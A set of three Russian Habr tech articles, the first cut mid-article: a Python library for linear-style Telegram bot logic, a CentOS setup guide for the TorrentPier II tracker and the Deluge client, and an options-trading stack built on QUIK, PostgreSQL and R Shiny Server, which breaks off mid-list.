В общем, попытка унифицировать этот винегрет обещает длительную и плодотворную работу методом тыка. Не очень удивительно то, что основные библиотеки для ботов даже не пытаются эту работу делать. Впрочем, к текущей статье это имеет теоретическое отношение.
Итого, задача
-------------
После того, как мой этап знакомства с АПИ телеграмма и используемой библиотеки привел меня к знаниям, описанным в паре прошлых абзацев, я отложил попытки написать что-то цельное и начал искать готовые решения по «очеловечиванию» реализации «бизнес логики» бота.
К огромному моему удивлению я не нашел вообще ничего. Я сейчас имею в виду не вебовские «конструкторы» ботов, коих миллион (ну или приблизительно столько), у меня все же стояла задача по изучению питона, а не по тренировке мелкой моторики правой руки компьютерной мышью. Я имею в виду какие-то библиотеки, которые бы позволяли реализовывать логику работы конечного продукта (бота) в привычной линейной форме, полностью убирая все особенности модели общения с сервером с глаз пользователя. Не нашел.
В результате, после довольно краткого знакомства с «полем боя» задача плавно трансформировалась из «пишем бота» в «пишем средство для написания бота». Мне, в сущности, это было даже гораздо интереснее и ближе т.к., повторюсь, основной задачей было именно освоение питона, а не реализация конкретной задачи, но все же было бы интересно узнать, если такие решения существуют.
Итого: необходимо реализовать средство, которое бы позволяло писать ботов для телеграмма в привычной линейной схеме реализации алгоритма. Т.е. чтобы можно было писать что-то типа такого (питоно–подобный псевдокод):
Желаемый синтаксис логики бота
```
def logic( chat ):
cfg = getSomeChatPersistentConfig()
name = chat.user.name
say( 'Hi, im a bot' )
if ( ask( 'I see you name as {name}\nCan I use it talking with you?' ) )
cfg.name = name
else
while True:
name = input('Please enter you name')
if name:
cfg.name = name
else
match choise('Your cancelled, what do you nant to do?'):
case 'QUIT':
say( 'Well, its sad, but hope you back soon.'
return
case 'NONEW':
cfg.name = user.name
say( 'Ok, let it be, {cfg.name}' )
break
case 'RETRY': continue
chat.clear()
say( 'Lets start to work {cfg.name}!' )
while True:
match menu('What do you wana do?'):
case 'QUIT': break
case 'DEVICES': CallDeviceDisplayProc()
case 'SETTINGS': CallSettingsProc()
say('Bye, see you')
```
Т.е. решать задачу, а не воевать с ограничениями, накладываемыми на способ ее реализации.
Для решения этой задачи нам нужно сначала понять пару простых вещей:
1. Логика: Какие интерфейсы нам нужны для реализации интерактивных задач.
2. Функции бота: Какие способы взаимодействия с пользователем существуют, как и какие нужно использовать, чтобы реализовать нужное для нашей логики.
3. Работа бота: Как и где эксплуатировать нашего бота. Как он будет получать управление.
4. Запуск: Как запустить нашу логику параллельно «бесконечному циклу опроса сервера».
Работа бота
-----------
Я не буду вдаваться в различия способов эксплуатации бота и возможных мест откуда он может быть вызван, что и где можно или нельзя использовать. В конце концов у нас не бесконечность, а всего лишь одна неделя на то, чтобы ознакомиться с питоном и создать какой-то конечный продукт, поэтому сосредоточимся только на персональных чатах (тех, когда человек пишет чату явно, запуская его кнопкой «запуск»). По сходной же логике работают и боты, которые были добавлены в групповые каналы, но там есть свои особенности. Будем писать код, не обращая внимания на эти различия. По крайней мере пока.
Итого: пишем библиотеку для ботов, ориентированных на работу в персональном канале.
Функции бота
------------
При работе телеграмма существуют следующие способы взаимодействия бот-человек:
* Написание текста как с одной, так и с другой стороны – это сообщение. В этом важно то, что бот ничего не делает до тех пор, пока ему не придет первое сообщение. Именно при получении сообщения определяется, откуда его написали (из какого канала), и кто это сделал. Т.к. события могут происходить абсолютно не связанно друг с другом, то сообщения будут приходить для разных каналов, от разных людей, которые находятся на разном этапе общения с ботом. Учитывая это нужно понимать что одна линейная бизнес-логика должна работать только для одного канала. Или так: для каждого канала должна быть запущена своя уникальная копия бизнес-логики. Сохранение как промежуточных, так и финальных данных происходит так же на «по–канальной» основе.
* В сообщении формируемом ботом, помимо «контента» можно использовать кнопки. Кнопки бывают двух видов: привязанные к сообщению и к чату (хотя тоже к сообщению, но зрительно… блин, тьфу на тебя АПИ телеграмма!). В детальное описание кнопок и их различий я вдаваться не буду по описанному уже выше принципу: «кому пофиг, а кто и так в курсе». В контексте статьи важен сам факт и различия в использовании этих кнопок. Кнопки у чата просто спамят текст в канал, а те, которые у сообщений, вызывают отправку специального обновления.
Подводим итог.
Бот может получить управление в любой момент, когда пользователь напишет какое-то сообщение или нажмет на кнопку. Это может случиться через секунду или через неделю. Не то, чтобы это было как-то важно для нашего недельного марафона, но учитывать все же стоит.
Нарисуем что-то типа:
```
class ISettings(typing.Sized):
"""Interface for ``Settings`` class"""
_cfg: 'ISettings'
def __init__(self,cfg:'ISettings'):
self._cfg = cfg
def gopt(self, path: str, default: TSettingsOption_t) -> TSettingsOption_t:
"""Get data from settings or set it to default if data not found"""
return self._cfg.gopt(path,default)
def sopt(self, path: str, value: TSettingsOption_t) -> TSettingsOption_t:
"""Set settings option to value """
return self._cfg.sopt(path,value)
def sub_cfg(self, nm: str) ->'ISettings':
"""Get settings sub-key by full path in form of 'key.key'... """
return self._cfg.sub_cfg(nm)
```
и
```
class SettingsIStorage:
"""Interface for load\save storage"""
def load(self, settings: ISettings):
pass
def save(self, settings: ISettings):
pass
```
и забудем об этом вопросе.
Общение с ботом происходит в каждом канале независимо и уникально. Учитывая еще и тот факт, что боту может поступать сообщение с произвольными интервалами, то логика обработки сообщений должны быть такой: при получении сообщения находим канал, который его обслуживает. Если канала нет, то создаем новый. Передаем каналу сообщение. Если в канале уже работает логика, то распределяем сообщение в соответствии с ее потребностями, если ее нет, то запускаем ее, передав сообщение как стартовое. Код приводить не буду т.к. в реализации это все крайне просто, но очень много пробелов , «self.» и прочего не важного текста.
Желающие могут посмотреть [реализацию](https://github.com/JouriM66/LinearBotLib) самостоятельно.
Логика
------
Накидаем пример того, как нам хотелось бы, чтобы наша программа выглядела.
Например, так:
Пример рабочей программы
```
class Logic(ILogic):
async def main(self, chat: BotChat, params: str) -> None:
chat.user().name = chat.last.from_user.full_name
name = chat.user().name
if params:
pstr = f'\nYou started me with parameters *"{escape_md(params)}"*, but I dont support any 😷\n\n'
else:
pstr = ''
titleMsg = await chat.reply(
f'Hi, *{name}*.\n'
f'{pstr}'
f'You are at examples section',
media='data/Icon-Hi.png'
)
while True:
rc = await chat.menu(
'Choose test group to go',
[[('➡ Menu tests...', 'menu')],
[('❓ Some asking', 'ask'), ('✌ Funny one :)', 'wait'), ('🍱', 'calc')],
[('❌ Close', 0), ('❌ Cancel', 0), ('❎ Abandon!', 0), ('➰ F* off!!', 0)],
],
remove_unused=True
)
if not rc.known: break
if rc.data == 'menu':
await logic_MENU(chat, name)
elif rc.data == 'ask':
await logic_ASK(chat, name)
elif rc.data == 'wait':
await logic_WAIT(chat, name)
elif rc.data == 'calc':
await logic_CALC(chat, name)
else:
break
await titleMsg.delete()
await chat.say(f'Calm down mate!\nIts all done already.\nSee you 👋', wait_delay=1)
await chat.say(f'...btw, if you wanna reply you can use "/start" command.', wait_delay=2)
await chat.say(f'Just saying...')
```
На примере этого кода видно, что нам нужно реализовать:
* Передачу сообщений (в идеале с картинками).
* Удаление/Изменение сообщений
* Все вышеперечисленное, с учетом того, что нужны кнопки управления, которых бывает 2 вида.
* Реализовать «модальность» для сообщений, т.е. когда все события обрабатываются только одним элементом монопольно не давая выполняться обработчикам из предыдущих элементов до тех пор, пока модальный элемент не будет закрыт. Это нужно для реализации ввода, ответов на вопросы, меню и прочего.
* Реализовать возможность обрабатывать нажатия на кнопки в немодальных сообщениях.
Запуск
------
Любые библиотеки для работы ботов представляют из себя, в конце, концов такое:
```
executor.start_polling(dp)
```
Т.е. запуск некоего бесконечного цикла опроса и реакций на события, в то время как пользовательский код вызывается разными сортами такого:
```
@dp.channel_post_handler()
async def post_handler(message: Message_t):
…
@dp.message_handler()
async def message_handler(message: Message_t):
…
@dp.callback_query_handler()
async def callback_handler(cbd: types.CallbackQuery):
…
```
Т.е. наш код будет вызван при получении различных событий. Их есть некоторое разнообразие, но мы сосредоточимся на простейших: получение нового сообщения в канале и получения уведомления при нажатии кнопки.
Внедриться внутрь цикла с линейной логикой не представляется возможным, поэтому нужно запустить нашу программу параллельно ей и обеспечить взаимодействие из нее с данными, получаемыми «мелкими порциями» асинхронно из основного цикла.
Мне, как человеку далекому от птичьих языков более привычным был бы способ создания отдельного процессорного потока для выполнения логики, но раз подвернулась такая оказия, то заодно разберемся с `co-routines` (я без понятия как это называется по русски), в `windows` эти сущности называются `Fibers`, где-то еще могут быть другие названия.
Суть подхода в том, что множество логически не связанного кода выполняется в одном потоке, передавая друг другу управления в тот момент, когда этому коду нечего делать.
Мы пишем http клиента и «нечего делать» - это его основное занятие, поэтому в топку «взрослые» потоки, пишем на «резиновых женщинах».
Добавить свой код в очередь выполнения очень просто:
```
async def _wrapper():
self.log.error(f'Start bot logic task')
try:
await self.logic.main(self, params if params else '')
self.logicTask = None
…
self.logicTask = asyncio.get_event_loop().create_task(_wrapper())
```
где `logicTask` хранит объект добавленного кода, а `self.logic.main` запускает на выполнение процедуру с реализацией линейной логики. С учетом разных нужд пусть интерфейс для нашей логики будет выглядеть так:
Код интерфейса логики
```
class ILogic(ISettings):
"""Interface for linear logic implementation for each ``BotChat`` channel.
Each ``BotChat`` object uses this interface to call user logic
functions. Each channel will have separate, unique logic object.
"""
chat: 'BotChat'
def __init__(self, chat: 'BotChat', cfg: ISettings):
super().__init__(cfg)
self.session = chat
async def main(self,chat:'BotChat',params:typing.List[str]) -> None:
"""Main user logic function. Called after '/start' or '/restart' command and will run until
exception happen or finished.
Executed in parallel with bot task.
Note: MUST NOT block on operations called from outside (like callbacks).
:param chat: parent chat executing logic
:param params: string with parameters passed to '/start' or '/restart' commands.
"""
pass
def OnExit(self,chat:'BotChat',isAlive:bool) -> None:
"""Called after logic procedure finished.
Used just for notification. Can be used f.i. to free resources.
:param chat: parent chat executing logic
:param isAlive: True is chat object is alive (can be used to communicate with channel), False if chat is closed.
"""
pass
# ret false to disable bot_ilogic restart
async def OnDownDecide(self, chat: 'BotChat', message: Message_t) -> bool:
"""Called to decide what to do if some notifications received in channel but logic is down (finished or terminated by error)
:param chat: parent chat executing logic
:param message: message object which "wake up" channel
:return: True to restart logic task or False to stay dead.
"""
return True
```
Пользователь нашей библиотеки будет наследоваться от этого интерфейса и реализовывать то, что ему нужно. По крайней мере `main`.
Код
---
Разбираемся с АПИ телеграмма (в синтаксисе выбранной библиотеки) и выясняем что все кроме модальности реализуемо довольно просто:
Создаем новые сообщения (тип зависит от того с картинкой оно нужно или нет) со всеми возможными наворотами:
```
async def _createMessage(self) -> MessageId_t:
reply_to_message_id = self.reply_to_message_id
if not reply_to_message_id: reply_to_message_id = None
if self.media:
msg = await self.chat.bot.send_photo(
self.chat.chat_id, parse_mode=self.chat.bot.parse_mode,
photo=self._loadMedia(self.media), caption=self.chat.escape_soft(self.text),
reply_markup=self.keyboard.markup,
reply_to_message_id=reply_to_message_id)
else:
msg = await self.chat.bot.send_message(
self.chat.chat_id,
text=self.chat.escape_soft(self.text), reply_markup=self.keyboard.markup,
reply_to_message_id=reply_to_message_id)
return msg.message_id
```
Редактирование существующего сообщения будет чуть сложнее (спасибо такому однозначному и «единообразному» протоколу телеграмма), но тоже ничего выдающегося:
```
async def _updateMessage(self) -> None:
if self.media:
if self._media.changed:
await self.chat.bot.edit_message_media(
media=types.InputMedia(
type='photo',
media=self._loadMedia(self.media),
caption=self.chat.escape_soft(self.text)
),
chat_id=self.chat.chat_id, message_id=self.message_id,
reply_markup=self.keyboard.markup)
elif self._text.changed:
await self.chat.bot.edit_message_caption(
chat_id=self.chat.chat_id, message_id=self.message_id,
caption=self.chat.escape_soft(self.text), reply_markup=self.keyboard.markup
)
else:
if self._text.changed:
await self.chat.bot.edit_message_text(
text=self.chat.escape_soft(self.text),
chat_id=self.chat.chat_id, message_id=self.message_id,
reply_markup=self.keyboard.markup
)
elif self.keyboard.changed:
try:
await self.chat.bot.edit_message_reply_markup(
chat_id=self.chat.chat_id, message_id=self.message_id,
reply_markup=self.keyboard.markup
)
# just mask unchanged error instead complex keyboard comparison
except aiogram.utils.exceptions.MessageNotModified:
pass
```
Это все, разумеется, надо обернуть кучей логики и проверок на то, в каких условиях и с какими «бубнами» вызывать то или другое. Желающие могут посмотреть [реализацию](https://github.com/JouriM66/LinearBotLib) самостоятельно.
Удаление сообщений существует и, слава богу, простейшее без каких-либо ветвлений в истории развития протокола:
```
try:
if await self.bot.delete_message(chat_id=self.chat_id, message_id=message_id):
return True
except BadRequest as e:
return False
```
Вроде все.
Кнопки в протоколе описываются по разному, но пофик, унифицируем все до:
```
BotUserKey_t = typing.Union[typing.Tuple[str, typing.Any], str]
```
для любой клавиатуры. Это лишняя страница кода, зато не нужно париться с типами при использовании. Стоит того.
Модальность к самому телеграмму отношения уже не имеет - это чисто логический наворот, который реализуем простой очередью сущностей, которые ждут получения событий. Т.к. событий всего два, то и интерфейс для такой сущности будет иметь всего две полезные функции. Так же эти «ждуны» должны уметь быть посредниками между кодом логики, который будет ожидать каких-то событий и получаемыми мелкими событиями. Принцип простой: с одной стороны, если логике что-то надо, то она заводит «ждуна» и ждет, пока поставленное условие не выполнится. С другой стороны, при получении мелких событий от телеграмма, проверяется очередь «ждунов» и, начиная с последнего, полученные данные применяются до тех пор, пока не дойдем до модального «ждуна» или до такого, который ровно этого события и ждал. Реализуется почти так же просто как и звучит.
Интерфейс ждуна, грубо говоря, такой:
Интерфейс класса ожидания
```
class Waiter:
"""Class which is used to filter received messages and callbacks and pass execution to
user logic.
"""
chat: 'BotChat'
isModal: bool = False
def __init__(self, chat: 'BotChat', messge_id: MessageId_t, /,
on_message: typing.Optional[OnMessageEvent] = None,
on_callback: typing.Optional[OnCallbackEvent] = None):
""" Create base waiter class
:param chat: parent chat waiter will be attached to
:param messge_id: message id this waiter attacked to if applicable (NoMessageId if waiter not attached to single message)
:param on_message: Callback to call on new messages
:param on_callback: Callback called on new INLINE buttons data
"""
self.chat = chat
self.messge_id = messge_id
self._completed = asyncio.Event()
self._completed.clear()
self._on_message = on_message
self._on_callback = on_callback
async def isWaitingThisMessage(self, chat: 'BotChat', message: Message_t) -> bool:
"""Check if this waiter process specified message"""
if self._on_message and await self._on_message(self.chat, message):
return True
return False
async def isWaitingThisCallback(self, chat: 'BotChat', cbd: Callback_t) -> bool:
"""Check if this waiter process specified callback data"""
if self._on_callback and await self._on_callback(self.chat, cbd):
return True
return False
def notify_complete(self):
"""Used to notify waiting user logic, what wait is complete. Called from bot loop to inform user logic"""
self._completed.set()
async def wait(self, timeout: float = None) -> bool:
"""Wait until complete. Called from user logic to wait waiter condition."""
if timeout and timeout >= 0:
try:
await asyncio.wait_for(self._completed.wait(), timeout)
return True
except asyncio.TimeoutError:
self.chat.waiterRemove(self)
return False
else:
await self._completed.wait()
return True
```
Ну и в классе нужно не забыть создать для него небольшую инфраструктуру:
```
waitersLock: threading.RLock
waiters: typing.List[typing.Optional[Waiter]]
```
В этом месте есть небольшой момент, на который стоит обратить внимание. Локер, на котором синхронизируется список «ждунов» должен быть: а) реентерабельным и б) не отпускающим очередь «детских потоков».
Первое понятно для чего, а вот второе важно в единственном моменте. В телеграмме, при получении события от нажатой кнопки на это событие можно ответить и при ответе у пользователя всплывет либо модальное окошко с текстом, либо пропадающий хинт. Так вот, если использовать блокировки из набора асинхронной библиотеки, то в момент блокировки будет передано управление первому попавшему ждущему своей очереди коду. Если окажется так, что этот код отправит серверу телеграмм, какие-то данные , то ответ на событие уже можно и не отправлять – оно не сработает, пользователь не увидит реакции.
Если не хочется лишать себя такой функции как эти «быстрые ответы прям сразу при нажатии», то асинхронные локеры использовать нельзя. В примере выше используется многопоточный реентерабельный локер, хотя учитывая структуру самого приложения его функция чисто декоративная и не более интеллектуальная чем:
```
While not stateVariable:
pass
```
только что использовать удобнее и писать меньше.
По функционалу вроде бы все.
Итог
----
Если не лукавить, то времени ушло чуть более недели. Впрочем, меня извиняет поездка на шашлыки и пара катаний на дачу.
Зачем я все это тут описал?
Целей у меня, на самом деле, несколько.
Во-первых, хотелось бы узнать мнение тех, кто пишет на питоне давно и серьезно. Все же этот код я писал как знакомство я языком и буду рад любым отзывам о его качестве. Однако просьба не забывать, что 2 недели назад я путал питона с ужом :)
Во-вторых, мне интересно было бы узнать о подобных альтернативах. Все же я не верю, что такое никто не реализовывал ранее.
Ну и, в третьих, на тот случай, если мой код или его описание окажется для кого-то в чем-то полезным. Буду рад.
Код, описанием и историей которого является эта статья доступен по [ссылке](https://github.com/JouriM66/LinearBotLib). | https://habr.com/ru/post/677322/ | null | ru | null |
# Поднимаем собственный торрент-трекер на Centos
Зачем нужен собственный торрент-трекер – вопрос не стоит. Причины могут быть разные. Поэтому сразу перейду к делу.
Вероятно, все крупные трекеры пишутся на заказ, либо индивидуально «допиливаются» известные движки. Когда стоит цель поднять собственный, например локальный трекер, чаще всего требования к нему не будут очень уж высокими, и остаётся выбрать нужный вариант из всех доступных, с перспективой на развитие.
Примерно так думал я, рассматривая и оценивая каждого кандидата. Свой выбор я остановил на [TorrentPier II](https://get.torrentpier.me). Оценивая плюсы и минусы следует отметить привычный для пользователей интерфейс, схожий с небезыствестным Rutracker-ом, и техническую поддержку, пусть и в виде [форума](https://torrentpier.me/forum/). Трекер, после небольшой настройки, без проблем работает у меня уже более года.
Установка выглядит следующим образом (небольшая цитата из инструкции):
**1.** Распаковываем на сервер содержимое скачанной вами папки
**2.** Создаем базу данных, в которую при помощи phpmyadmin (или любого другого удобного инструмента) импортируем дамп, расположенный в папке \*\*install/sql/mysql.sql\*\*
**3.** Правим файл конфигурации \*\*library/config.php\*\*, загруженный на сервер:
```
> ***'db1' => array('localhost', 'dbase', 'user', 'pass', $charset, $pconnect)***
```
В данной строке изменяем данные входа в базу данных
```
***$domain_name = 'torrentpier.me';***
```
В данной строке указываем ваше доменное имя. Остальные правки в файле вносятся по усмотрению.
Нужно сказать, что на PHP 7.0 трекер работать не хочет. Пришлось создать для него отдельный контейнер с PHP 5.4.45. Рекомендуемая версия PHP: 5.3 – 5.5. Кроме этого, авторы рекомендуют в некоторых случаях отвязать встроенный в движок крон (необходимый для работы), и использовать обычный серверный. Задание может выглядеть следующим образом:
```
*/5 * * * * /usr/bin/php -f /var/www/site.ru/htdocs/cron/cron.php
```
С установкой трекера всё достаточно понятно, но нужно сделать ещё кое-что. В моём случае торрент-трекер – это подспорье для сайта, и выступает он альтернативой для пользователя, привыкшего качать файлы с сайтов с использованием торрентов. В общем, первоначальный источник раздачи, грубо говоря, всегда я сам. Поэтому, необходимо готовить «полный набор»: торрент-трекер, наполненный торрент-файлами (которые потом можно красиво разместить на сайте), и плюс источник раздачи. Я решил что торрент-клиент, то есть собственно источник раздачи, будет находится на том же сервере, что и сайт, и торрент-трекер. Нужен клиент с Web ui под Centos.
Мой выбор пал на [Deluge](http://deluge-torrent.org). Установка выглядит следующим образом:
— Добавляем репозиторий
```
vi /etc/yum.repos.d/deluge.repo
```
```
[deluge]
name=LinuxTECH - deluge
baseurl=http://pkgrepo.linuxtech.net/el6/release/
enabled=1
gpgcheck=1
gpgkey=http://pkgrepo.linuxtech.net/el6/release/RPM-GPG-KEY-LinuxTECH.NET
includepkgs=deluge* GeoIP python-chardet rb_libtorrent*
```
— Установка:
```
yum -y install deluge deluge-common deluge-web deluge-console deluge-images deluge-daemon
```
— Добавляем пользователя:
```
useradd --system --home /var/lib/deluge deluge
```
— По рекомендации с форума Deluge, в случае использования Centos нужно подправить конфиг:
```
vi /etc/init.d/deluge-daemon
```
Меняем строку:
```
prog2=deluge
```
на:
```
prog2=deluge-web
```
и
```
daemon --user deluge "$prog2 --ui web >/dev/null 2>&1 &"
```
меняем на:
```
daemon --user deluge "$prog2 >/dev/null 2>&1 &"
```
— Добавляем в автозагрузку:
```
chkconfig deluge-daemon on
```
— Открываем порт 8112, необходимый для работы web интерфейса:
```
vi /etc/sysconfig/iptables
```
```
-A INPUT -p tcp -m conntrack --ctstate NEW -m multiport --dports 8112 -j ACCEPT
```
```
service iptables restart
```
— Запуск:
```
service deluge-daemon start
```
Открываем интерфейс Deluge (http://ip\_server:8112), пароль по умолчанию: «deluge».
Осталось создать собственно торрент-файлы, разместить их в трекере, и создать закачку/раздачу в клиенте.
Для создания торрентов можно использовать свой «домашний» торрент-клиент. Но можно использовать и уже установленный ранее Deluge. Из web интерфейса Deluge создать торрент-файлы не получится, здесь можно воспользоваться консолью или подключится к Deluge со своего ПК. Например, для использующих Windows есть соответствующие [клиенты](http://download.deluge-torrent.org/windows/?C=M;O=D).
После установки Deluge на ПК, нужно в настройках, в разделе «Интерфейс» снять галочку с «классический», и создать подключение к удалённому серверу, используя подготовленные для этого данные:
— На сервере прописать доступы:
```
echo "user:pass:10" >> /var/lib/deluge/.config/deluge/auth
```
— Открыть соответствующие порты, как минимум порт 58846, плюс те, которые необходимы для раздачи. В моём случае «процесс (раздачи) пошёл» после открытия портов 6881:6889, а также 53567 (tcp/udp).
Не забыть с помощью web-клиента Deluge в параметрах задать нужный порт (если меняется тот, что по умолчанию), и разрешить удалённые соединения.
Теперь всё готово. Итак, ещё раз — наиболее простой вариант подготовки «полного набора» выглядит следующим образом:
— Устанавливаем и настраиваем на сервере торрент-трекер TorrentPier II;
— Устанавливаем и настраиваем на сервере торрент-клиент Deluge;
— На сервер заливается файл, который будет раздаваться;
— На «домашнем» торрент-клиенте создаётся новый торрент-файл;
— Торрент-файл заливается на трекер, который этот файл модифицирует;
— Теперь используя этот модифицированный торрент-файл, создаём раздачу на торрент-клиенте Deluge, находящимся на сервере, и в качестве каталога для закачки указываем тот, где лежит закаченный ранее файл под раздачу.
Трекер в работе, и на сервере всегда крутится раздача, а значит ваши пользователи всегда найдут минимум один сид. | https://habr.com/ru/post/308278/ | null | ru | null |
# Каким может быть стек технологий для торговли опционами на Московской бирже
[](https://habrahabr.ru/company/itinvest/blog/277845/)
В блоге на Хабре мы много пишем об использующемся для работы на фондовом рынке железе и софте. Не так давно мы рассматривали стек технологий для высокочастотной торговли, а сегодня речь пойдет о том, какие инструменты можно использовать для торговли опционами на Московской бирже. Материал на эту тему написал эксперт [ITinvest](http://www.itinvest.ru/promo/adv/) Олег Мубаракшин.
#### Введение
В этой статье будут подробно описаны технологии, используемые мной для торговли опционами на Московской Бирже. Сразу отмечу, что это статья не о торговом ПО (отправляющем заявки на биржу и т.д.), а о применяемых мной технологических решениях для реал-тайм оценки опционов и позиций.
На текущий момент опционному трейдеру доступно множество средств для анализа опционов и портфелей, многие из них сразу встроены в торговые терминалы. Однако для моих задач они не подходили и не подходят по сей день, по различным причинам, в т.ч. из-за их высокой стоимости (хорошие решения стоят достаточно дорого). Поэтому два года назад я решил создать свой собственный софт, позволяющий мне проводить анализ опционов и позиций так, как мне это нужно.
У меня есть несколько жестких требований к моему опционному ПО:
1. Real-time market data;
2. Дешевое решение, а лучше free;
3. Гибкое в плане прайсинга опционов (очень важно! но немногие это понимают);
4. Простое в плане написания кода и использующее робастные методы (желательно, чтобы большая часть уже была сделана умными людьми и опытными девелоперами);
5. Удобное в плане разворачивания и sharing;
6. User-friendly интерфейс;
7. Bug и blunder protected (ошибки в прайсинге должны быть видны сразу и невооруженным глазом).
Что было не критично:
1. HFT (low latency) не нужна, тратить на нее ресурсы нет ни желания ни возможностей;
2. Информационная безопасность, управление правами юзеров и т.п. (есть – хорошо, нет – и ладно);
3. Защита авторских прав
Итак, посмотрим, к чему я пришел за эти два года.
Структура ПО схематично представлена на рис. 1. Ниже подробно описаны ее составные части.
*Рис. 1. Общая схема организации ПО и оборудования*
#### Hardware
В качестве железа использовался ноутбук с процессором Intel Core i7, 8 ГБ оперативной памяти и ОС Windows 7. Для работы Shiny Server нужен Linux, поэтому с помощью WMware Player (также free) была создана виртуальная машина под управлением Ubuntu Server 14.04.
#### Market Data
Рыночные данные – текущие котировки (bid, ask, last, volume, etc.) фьючерсов и опционов – с помощью ODBC экспорта поставляются из QUIK в базу данных PostgreSQL. Этот способ data feed хорошо себя зарекомендовал, работает стабильно и быстро.
*Рис. 2. ODBC экспорт из QUIK в DB*
Текущая позиция (портфель) загружается в БД с помощью [API SmartCOM](http://www.itinvest.ru/software/smartcom/) – разработка брокера ITinvest.
#### База данных
PostgreSQL установлена на Windows 7. Поступающие из QUIK данные с помощью триггеров и функций БД обрабатываются и сохраняются в специальные таблицы. Например, таблица mw\_options, в которую экспортируется таблица QUIK с текущими рыночными данными опционов, содержит триггер:
```
CREATE TRIGGER trig_upsert_spec_options
AFTER INSERT OR UPDATE OF sec_code, sec_name, lot, tick, fee
ON mw_options
FOR EACH ROW
EXECUTE PROCEDURE func_upsert_spec_options();
```
вызывающий функцию:
```
CREATE OR REPLACE FUNCTION func_upsert_spec_options()
RETURNS trigger AS
$BODY$
BEGIN
UPDATE spec_options SET sec_name=NEW.sec_name, lot=NEW.lot, tick=NEW.tick, fee=NEW.fee WHERE sec_code=NEW.sec_code;
IF NOT found THEN
INSERT INTO spec_options(sec_code, sec_name, und_code, expiry, strike, type, lot, tick, fee)
VALUES (NEW.sec_code, NEW.sec_name, NEW.und_code, NEW.expiry, NEW.strike, NEW.type, NEW.lot, NEW.tick, NEW.fee);
END IF;
RETURN NEW;
END;
$BODY$
LANGUAGE plpgsql VOLATILE
COST 100;
ALTER FUNCTION func_upsert_spec_options()
OWNER TO postgres;
```
которая добавляет/обновляет данные в таблице spec\_options, где хранится спецификация опционных контрактов:
```
CREATE TABLE spec_options
(
sec_code character varying(16) NOT NULL,
sec_name character varying(32),
und_code character varying(8),
expiry date,
strike double precision,
type character varying(4),
lot integer,
tick double precision,
fee double precision,
CONSTRAINT spec_options_pkey PRIMARY KEY (sec_code)
)
WITH (
OIDS=FALSE
);
ALTER TABLE spec_options
OWNER TO postgres;
```
#### Shiny Server
Shiny Server нельзя установить на Windows, поэтому была создана виртуальная машина с Ubuntu (trusty).
Далее необходимо установить последнюю версию R. В Ubuntu уже есть ссылка на R, но как правило она устаревшая, поэтому лучше сделать так:
```
$ sudo sh -c 'echo "deb http://cran.rstudio.com/bin/linux/ubuntu trusty/" >> /etc/apt/sources.list'
$ gpg --keyserver keyserver.ubuntu.com --recv-key E084DAB9
$ gpg -a --export E084DAB9 | sudo apt-key add -
$ sudo apt-get update
$ sudo apt-get -y install r-base
```
Проверить версию можно запустив R:
```
$ R
```
Чтобы выйти из R надо ввести в нем команду:
```
> q(save = "no")
```
Потом устанавливаем необходимые R пакеты – shiny, devtools, rmarkdown и shinyjs:
```
$ sudo su - -c "R -e \"install.packages('shiny', repos = 'http://cran.rstudio.com/')\""
$ sudo apt-get -y install libcurl4-gnutls-dev libxml2-dev libssl-dev
$ sudo su - -c "R -e \"install.packages('devtools', repos='http://cran.rstudio.com/')\""
$ sudo su - -c "R -e \"install.packages('rmarkdown', repos='http://cran.rstudio.com/')\""
$ sudo su - -c "R -e \"devtools::install_github('daattali/shinyjs')\""
```
Далее инсталлируем Shiny Server. Инструкция по установке последней версии здесь, на момент написания этого топика версия была 1.4.1.759:
```
$ sudo apt-get install gdebi-core
$ wget https://download3.rstudio.org/ubuntu-12.04/x86_64/shiny-server-1.4.1.759-amd64.deb
$ sudo gdebi shiny-server-1.4.1.759-amd64.deb
```
Если все сделано правильно, то вызвав ссылку (`ip_shiny_server` – IP адрес вашей виртуальной машины)
`ip_shiny_server:3838`, вы увидите приветствуенную страницу вашего Shiny-сервера с двумя активными виджетами:
*Рис. 3. Приветственная страница Shiny Server*
Я рекомендую также установить очень удобную среду разработки Rstudio Server. Инструкция по установке последней версии [здесь](https://www.rstudio.com/products/rstudio/download-server/). Пример команд установки:
```
$ sudo apt-get install gdebi-core
$ wget https://download2.rstudio.org/rstudio-server-0.99.491-amd64.deb
$ sudo gdebi rstudio-server-0.99.491-amd64.deb
```
Также я рекомендую внести следующие изменения в конфигурацию Shiny сервера – файл /etc/shiny-server/shiny-server.conf:
```
server {
listen 3838;
location /users {
run_as :HOME_USER:;
user_dirs;
}
location /apps {
run_as shiny;
site_dir /srv/shiny-server;
log_dir /var/log/shiny-server;
directory_index on;
}
}
```
Это даст возможность удобно запускать shiny приложения, разработанные в Rstudio Server:
* В Rstudio в корневом каталоге создается папка ShinyApps;
* Далее File/New Project../New Directory/Shiny Web Application/;
* Заполняете Directory name, например, test001;
* Выбираете ShinyApps в качестве корневой директории проекта.
Для запуска созданного приложения в браузере достаточно ввести адрес:
`ip_shiny_server:3838/users/ubuntu_user_name/test001/`
где `ip_shiny_server` – IP адрес виртуальной машины, `ubuntu_user_name` – имя пользователя Ubuntu.
Еще необходимо установить PostgreSQL и пакет libpq-dev:
```
$ apt-get install postgresql-9.4
$ sudo apt-get install libpq-dev
```
Возможно вам также понадобится Apach, например, для обмена файлами, быстрого просмотра логов и т.п.:
```
$ sudo apt-get install apache2
```
Теперь, например, чтобы получить доступ к папке folder001 приложения test001, надо выполнить команду:
```
$ sudo ln -s /home/ubuntu_user_name/ShinyApps/test001/folder001 /var/www/html/shared_folder
```
После этого содержимое папки станет доступно по адресу: ip\_shiny\_server/shared\_folder/
#### Веб-интерфейс
Огромным преимуществом серверных приложений Shiny, на мой взгляд, является: a) наличие у них веб-интерфейса и b) то, что они доступны на любом устройстве (ПК, ноутбук, планшет, смартфон) с выходом в интернет. Это отличное кросс-платформенное решение!
С запущенным Shiny сервером я имею возможность проводить анализ волатильности, прайсить опционы и следить за своей позицией в любой месте, где есть интернет.
*Рис. 4. Интерфейс Shiny-приложения для анализа и моделирования улыбки волатильности*
Rstudio Server также имеет веб-интерфейс, он доступен на любом устройстве с современной ОС и выходом в интернет – разрабатывайте, фиксите баги в любом месте с любого устройства.
*Рис. 5. Интерфейс среды разработки Rstudio Server*
#### Volatility Models
В настоящий момент для прайсинга и маркет-мейкинга я использую две модели:
* Vanna-Volga
* Risk-neutral moments
